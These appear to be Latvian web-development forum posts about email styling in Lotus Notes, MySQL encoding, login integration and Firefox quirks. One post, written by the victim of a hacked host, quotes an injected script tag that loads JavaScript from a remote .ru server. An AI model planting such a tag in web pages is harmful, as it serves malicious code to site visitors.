ebw

no laba praata jau pats neko taadu nedariitu. bet nu requirements ir. kaukas jadomaa.. anchor linki jau butu labi.. bet viniem itkaa vajag pa sekcijaam,.. hmm lazhinja :)

jaa, savaa zinjaa taa tas ir.. bet kaadi veel ir risinaajumi lai uztaisiitu mailaa expand / collapse sekciju..

sveiki! varbuut kaadam ir pieredze ar mailu suutiishanu uz Lotus Notes.. probleema taada ka nekaadi nesanaak uzdabuut lai javascripts straadaatu html mailaa kas tiek nosuutiits uz Lotus Notes.. jau ar LN mailu stiloshanu ir diezgan lielas probleemas jo vinjsh baigi specifiski attiecas pret CSS.. bet nu kaukaa apmeeram to veel var paveikt ar inline stiliem un tamlidzigam izvirtiibaam. bet nu ar Js galigi kautkaa neiet.. vispaar settingos ir iesleegts js utt. any ideas? tnx!

buus japameegjina kas liidziigs. izmeegjinaaju ar SET NAMES, tagad tieshaam bazee arii atteelojas garumzimes pareizi. paldies!

njaa.. kautkaa biju palaidis sho garaam :( bet teiksim esošos datus ir kaada iespeeja paarkonverteet uz normaaliem? laikam jataisa kautkads simbolu mappings un vnk jataisa replace uz normaliem.. cik saprotu

nee, set names nekur neizmantojas..

sveiki gribeju pajautat par kodejumiem: man ir mysql baaze kuraa ir tabulas ar "utf8_general_ci" kodejumu. teiksim kad no formas (lapai ir utf-8 kodejums) tiek pievienots ieraksts baazee, kuram ir garumzīmes, skatoties caur phpmyadmin atteelojas savaadi - piem. "palÄ«dz" nevis "palīdz" garumzimes tiek aizvietotas ar kkadiem spec simboliem.. tachu kad no baazes tiek izvaditi dati uz webu, vinji atteelojas ar pareizajaam garumziimeem.. kas varetu but pa vainu, kapeec baazee vinji raadaas kaa kjeburi? arii kad taisa dump, pie insertiem ir ar kjeburiem nevis istajam garumzimem.. vai var kaukaa nomainiit teiksim lai vinji baazee un dumpaa atteelotos normaali? paldies!

sveiki! gadiijusies te taada probleema ka uz mana hostinga dazhiem domeeniem ir sachakareeti faili.. izpauzhas tas taa, ka daudziem index*.*, default*.*, main*.* failiem beigaas (aiz </html> taga) ir piekabinaajies aptuveni sekojoshs kods <script type="text/javascript" src="http://kautkas.ru:8080/kautkas.js"></script> <!--8469f3ebb36bebb12b39b0f9e7fe5933--> domeni no kura scripts izsaucas ir dazhaadi.. piem. greatrow.ru, moist.ru utt. gribeeju pajautaat vai kaads ir saskaaries ar liidziigu nelaimi? cik lasiiju, izskataas ka diezgan modiiga lieta - vismaz aarzemees ir kas no shii liidziiga ir cietushi. kas vareetu buut pa iemeslu un kaa tas tika paveikts? itkaa cik lasiiju sheit http://blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/ runa ir par pieejas zagshanu no ftp klientiem.

ok.paldies par ideju. japamegina.

interesants variants savaacam no dr.lv datus un sesiju uztaisaam peec sava mehaanisma.

sveiki! varbuut variet ieteikt kaa labaak tikt galaa ar sekojoshu lietu. ir viens web projekts, kuram ir taada lieta kaa lietotaaju registraacija un ielogoshanaas. notiek tas izmantojos sessijas. BET ir arii taada lieta kaa draugiem.lv pase - kas dod iespeju autorizeeties ar draugiem.lv user/pass. gribeetu dot iespeeju lietotaajam izmantot gan vienu gan otru iespeeju piesleegties sisteemai. teiksim esoshaa Login forma tiek submitota uz failu teiksim "authorize.php", kur iekshaa notiek lietotaja atrashana DB un sesijas izveidoshana (ja viss ok).. tachu vai shajaa pashaa "authorize.php" vareetu arii kautkaa paarbaudiit arii vai taa dr.lv pase ir autorizeeta? kaa vareetu shiis abas lietas normaali apvienot vienaa? tnx!

nu jaa. apskatiijos ar FireBug response headeri - tur staav content-type: text/plain. laikam pashaa servletaa jaliek tas encodings.

nee caur URL atverot.. vieniigi veel taads aspekts ka tas html tiek atgriezts no Servleta.. shaadi: http://server.com/SomeServlet?id=123 nevis kaa: http://server.com/somepage.html varbuut probleema vareetu buut tur, ka vinjsh takaa neredz arii *.html extensionu?

Sveiki! Ir sekojosha situaacija: lietojot FireFox neveras html dokuments normaali valjaa - nevis atveras dokumenta saturs, bet source kods. html dokumentaa nekaa iipasha nav, iznemot appletu. saakumaa domaaju ka tas deelj Content-Type, pieliku content = text/html, bet joprojaam taa pati pobleema. IE straadaa viss normaali. varbuut ir kaadas idejas, kur vareetu buut aakjis?

beigaas uztaisiiju taa, kad tiek izveidots neredzams DIV ar taadu width kaa inputam .ffDiv { overflow-x:scroll; white-space:nowrap; height:0; position:absolute; } kuram arii vajadziigajaa momentaa tiek nolasiits tas scrollWidth.. kursh tagad tiek atgriezts pareizi. tas taads workarounds. buutu jau feini ja Mozilla safixotu sho lietu :)